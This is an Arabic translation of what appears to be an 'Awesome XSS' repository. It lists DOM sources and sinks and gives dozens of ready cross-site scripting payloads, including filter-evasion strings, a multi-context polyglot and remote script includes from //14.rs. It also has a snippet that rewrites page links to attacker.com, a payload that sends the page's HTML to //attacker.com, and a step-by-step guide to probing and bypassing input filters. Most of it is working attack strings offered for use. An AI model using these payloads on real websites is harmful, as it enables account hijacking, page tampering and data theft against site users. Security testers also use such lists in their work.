
أشياء رائعة عن XSS
هذا المستودع عبارة عن مجموعة من موارد XSS الرائعة. المساهمات مرحّب بها ويُرجى تقديمها عبر issue.
خريطة ذهنية جميلة لـ XSS من إعداد Jack Masa، هنا
VulnerableNot vulnerableSource: إدخال يمكن التحكم به من مصدر خارجي (غير موثوق).
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Sink: طريقة قد تكون خطيرة ويمكن أن تؤدي إلى ثغرة أمنية. في هذه الحالة، XSS قائم على DOM.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
تم أخذ هذه القائمة الشاملة للمصادر وsinks من domxsswiki.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
إليك حمولة XSS متعددة السياقات (polyglot) قمت بصنعها ويمكنها كسر أكثر من 20 سياقًا:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
شرح لكيفية عملها، هنا
بعض معالجات الأحداث الأقل اكتشافًا
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
بعض وسوم HTML التي قد تستخدمها
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
الحالة: <tag>You searched for $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
الحالة: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
الحالة: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
نعم، استخدم confirm لأن alert أصبح تقليديًا.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
إذا لم ينجح أي من هذا، ألقِ نظرة على قسم Awesome Bypassing
أولًا، أدخل سلسلة غير ضارة مثل d3v وانظر إلى الكود المصدري لتكوين فكرة عن عدد وسياقات الانعكاس.
الآن بالنسبة لسياق السمة، تحقق مما إذا كانت علامات الاقتباس المزدوجة (") تُفلتر عن طريق إدخال x"d3v. إذا تغيّرت إلى x"d3v، فمن المرجح أن المخرجات يتم ترميزها بشكل صحيح. إذا حدث ذلك، جرّب الأمر نفسه مع علامات الاقتباس المفردة (') بإدخال x'd3v، وإذا تغيّرت إلى x'، فأنت في مأزق. الشيء الوحيد الذي يمكنك تجربته هو الترميز.
إذا لم تتم فلترة علامات الاقتباس، يمكنك ببساطة تجربة الحمولات من قسم Awesome Context Breaking.
بالنسبة لسياق JavaScript، تحقق من علامات الاقتباس المستخدمة، على سبيل المثال إذا كانوا يستخدمون
variable = 'value' or variable = "value"
الآن لنفترض أن علامات الاقتباس المفردة (') هي المستخدمة، في هذه الحالة أدخل x'd3v. إذا تغيّرت إلى x\'d3v، حاول تخطي الخط المائل العكسي () بإضافة خط مائل عكسي إلى اختبارك، أي x\'d3v. إذا نجح الأمر، استخدم الحمولة التالية:
\'-alert()//
ولكن إذا تغيّرت إلى x\\\'d3v، فإن الشيء الوحيد الذي يمكنك تجربته هو إغلاق وسم السكربت نفسه باستخدام
</script><svg onload=alert()>
بالنسبة لسياق HTML البسيط، يكون الاختبار هو x<d3v. إذا تغيّر إلى x>d3v، فهناك تنقية (sanitization) مناسبة. إذا انعكس كما هو، يمكنك إدخال وسم وهمي للتحقق من المرشحات المحتملة. الوسم الوهمي الذي أحب استخدامه هو x<xxx>. إذا تمت إزالته أو تغييره بأي شكل، فهذا يعني أن المرشح يبحث عن زوج من < و >. يمكن تجاوزه ببساطة باستخدام
<svg onload=alert()//
أو هذا (لن يعمل في جميع الحالات)
<svg onload=alert()
إذا ظهر وسمك الوهمي في الكود المصدري كما هو، فاستخدم أيًا من هذه الحمولات
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
ملاحظة: لا تستخدم أي من هذه الحمولات علامات الاقتباس المفردة (') أو المزدوجة (").
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
<svg/onload=confirm()>
<svg onload=confirm()>
<script>confirm()</script>
<svg onload=confirm()//
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
</ScRipT>
</script
</script/>
</script x>
http(s):// إلى // أو /\\ أو \\.document.cookie إلى cookie. وينطبق ذلك على كائنات DOM الأخرى أيضًا.alert('XSS') وابدأ باستخدام alert()// لإغلاق وسم بدلاً من >.confirm هي أقل دالة منبثقة يتم اكتشافها، لذا توقف عن استخدام alert.<script src=//14.rs> بدلاً من <script src="//14.rs">جميع الحمولات من صياغتي ما لم يُنص على غير ذلك.
| HTML | الحرف | الرقمي | الوصف | السداسي عشري | CSS (ISO) | JS (Octal) | URL |
|---|
" | " | " | علامة اقتباس | u+0022 | \0022 | \42 | %22 |
# | # | # | علامة رقم | u+0023 | \0023 | \43 | %23 |
$ | $ | $ | علامة الدولار | u+0024 | \0024 | \44 | %24 |
% | % | % | علامة النسبة المئوية | u+0025 | \0025 | \45 | %25 |
& | & | & | علامة العطف | u+0026 | \0026 | \46 | %26 |
' | ' | ' | فاصلة عليا | u+0027 | \0027 | \47 | %27 |
( | ( | ( | قوس أيسر | u+0028 | \0028 | \50 | %28 |
) | ) | ) | قوس أيمن | u+0029 | \0029 | \51 | %29 |
* | * | * | نجمة | u+002A | \002a | \52 | %2A |
+ | + | + | علامة الجمع | u+002B | \002b | \53 | %2B |
, | , | , | فاصلة | u+002C | \002c | \54 | %2C |
− | - | - | واصلة-ناقص | u+002D | \002d | \55 | %2D |
. | . | . | نقطة؛ فترة | u+002E | \002e | \56 | %2E |
/ | / | / | شرطة مائلة | u+002F | \002f | \57 | %2F |
: | : | : | نقطتان رأسيتان | u+003A | \003a | \72 | %3A |
; | ; | ; | فاصلة منقوطة | u+003B | \003b | \73 | %3B |
< | < | < | أقل من | u+003C | \003c | \74 | %3C |
= | = | = | يساوي | u+003D | \003d | \75 | %3D |
> | > | > | علامة أكبر من | u+003E | \003e | \76 | %3E |
? | ? | ? | علامة استفهام | u+003F | \003f | \77 | %3F |
@ | @ | @ | علامة @ | u+0040 | \0040 | \100 | %40 |
[ | [ | [ | قوس مربع أيسر | u+005B | \005b | \133 | %5B |
\ | \ | \ | خط مائل عكسي | u+005C | \005c | \134 | %5C |
] | ] | ] | قوس مربع أيمن | u+005D | \005d | \135 | %5D |
^ | ^ | ^ | علامة الإقحام | u+005E | \005e | \136 | %5E |
_ | _ | _ | شرطة سفلية | u+005F | \005f | \137 | %5F |
` | ` | ` | نبرة غريف | u+0060 | \0060 | \u0060 | %60 |
{ | { | { | قوس مجعد أيسر | u+007b | \007b | \173 | %7b |
| | | | | | شريط عمودي | u+007c | \007c | \174 | %7c |
} | } | } | قوس مجعد أيمن | u+007d | \007d | \175 | %7d |
<script src=//14.rs> (19 حرفًا)